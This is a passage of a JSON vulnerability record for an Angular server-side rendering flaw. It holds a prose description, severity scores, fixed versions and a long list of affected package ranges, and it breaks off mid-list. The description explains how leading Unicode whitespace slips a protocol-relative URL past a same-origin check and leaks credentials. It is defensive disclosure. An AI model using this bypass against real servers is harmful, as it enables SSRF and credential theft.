{"id":"CVE-2026-88056","aliases":["CLSA-2026-1790443334","CLSA-2026-1790489187","CLSA-2026-1790597611","CLSA-2026-1790597633","CLSA-2026-1790597654","CLSA-2026-1790887532","CLSA-2026-1791195835","CLSA-2026-1792160931","CLSA-2026-1792160992","CLSA-2026-1792161313","CLSA-2026-1792161355","CLSA-2026-1792161356","CLSA-2026-1792161357","CLSA-2026-1792161358","CLSA-2026-1792163704","CLSA-2026-1792163749","CLSA-2026-1792163750","CLSA-2026-1792163751","CLSA-2026-1792163752","CLSA-2026-1792208231","CLSA-2026-1792208283","CLSA-2026-1792208321","CLSA-2026-1792208371","CLSA-2026-1792250310","CLSA-2026-1792250350","CLSA-2026-1792250372","CLSA-2026-1792250497","CLSA-2026-1792281313","CLSA-2026-1792281465","CLSA-2026-1792281551","CLSA-2026-1792325533","CLSA-2026-1792325627","CLSA-2026-1792325691","CLSA-2026-1792325785","CLSA-2026-1792345423","CLSA-2026-1792345466","CLSA-2026-1792345536","CLSA-2026-1792357436","CLSA-2026-1792357513","CLSA-2026-1792357566","CLSA-2026-1792357647","CLSA-2026-1792366676","CLSA-2026-1792366727","CLSA-2026-1792366760","CLSA-2026-1792366809","CLSA-2026-1792371740","CLSA-2026-1792371793","CLSA-2026-1792371833","CLSA-2026-1792371900","CLSA-2026-1792375829","CLSA-2026-1792375874","CLSA-2026-1792375916","CLSA-2026-1792375973","CLSA-2026-1792380122","CLSA-2026-1792380186","CLSA-2026-1792380230","CLSA-2026-1792380285","CLSA-2026-1792382698","CLSA-2026-1792382754","CLSA-2026-1792382792","CLSA-2026-1792382841","CLSA-2026-1792386195","CLSA-2026-1792386243","CLSA-2026-1792386279","CLSA-2026-1792386333","DEBIAN-CVE-2026-88056","EUVD-2026-75675","GHSA-f6mr-pjwc-34m4","UBUNTU-CVE-2026-88056"],"status":"published","title":"Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR","description":"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.","severity":{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00541,"percentile":0.46003,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-09-10T18:42:34Z","modified":"2026-11-02T19:59:16Z","fixes":[{"ecosystem":"npm","package":"@angular/platform-server","fixed_in":["22.1.4","21.2.22","20.3.30"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"@angular/bazel","fixed_in":["12.2.17-tuxcare.11"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@angular/benchpress","fixed_in":["12.2.17-tuxcare.11"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@angular/language-service","fixed_in":["12.2.17-tuxcare.11"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"22.0.0"},{"fixed":"22.1.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.0.0"},{"fixed":"21.2.22"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"20.3.30"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"19.2.25"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/bazel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/benchpress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/language-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/bazel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/benchpress","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/language-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/elements","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/forms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/language-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/localize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser-dynamic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/service-worker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/elements","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/forms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/language-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/localize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser-dynamic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/service-worker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/elements","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/forms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/language-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/localize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-browser-dynamic","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/platform-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/service-worker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/bazel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.2","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/language-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.2","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/language-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/animations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/router","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/animations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/animations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/animations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/animations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/animations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/router","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/router","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/router","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.18-tuxcare.0"},{"fixed":"19.2.18-tuxcare.1"}]}],"versions":["19.2.18"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/router","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.1"}]}],"versions":["19.2.14"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/router","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"18.2.13-tuxcare.0"},{"fixed":"18.2.13-tuxcare.1"}]}],"versions":["18.2.13"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/upgrade","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.2","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.2","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/compiler-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.2","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/elements","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.17-tuxcare.4","12.2.17-tuxcare.5","12.2.17-tuxcare.6","12.2.17-tuxcare.7","12.2.17-tuxcare.8","12.2.17-tuxcare.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/elements","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.23-tuxcare.0"},{"fixed":"19.2.23-tuxcare.5"}]}],"versions":["19.2.23","19.2.23-tuxcare.1","19.2.23-tuxcare.2","19.2.23-tuxcare.3","19.2.23-tuxcare.4"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/elements","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.25-tuxcare.0"},{"fixed":"19.2.25-tuxcare.4"}]}],"versions":["19.2.25","19.2.25-tuxcare.1","19.2.25-tuxcare.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/elements","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"19.2.14-tuxcare.0"},{"fixed":"19.2.14-tuxcare.3"}]}],"versions":["19.2.14","19.2.14-tuxcare.1","19.2.14-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"@angular/forms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.2.17-tuxcare.0"},{"fixed":"12.2.17-tuxcare.11"}]}],"versions":["12.2.17","12.2.17-tuxcare.1","12.2.17-tuxcare.10","12.2.17-tuxcare.2","12.2.17-tuxcare.3","12.2.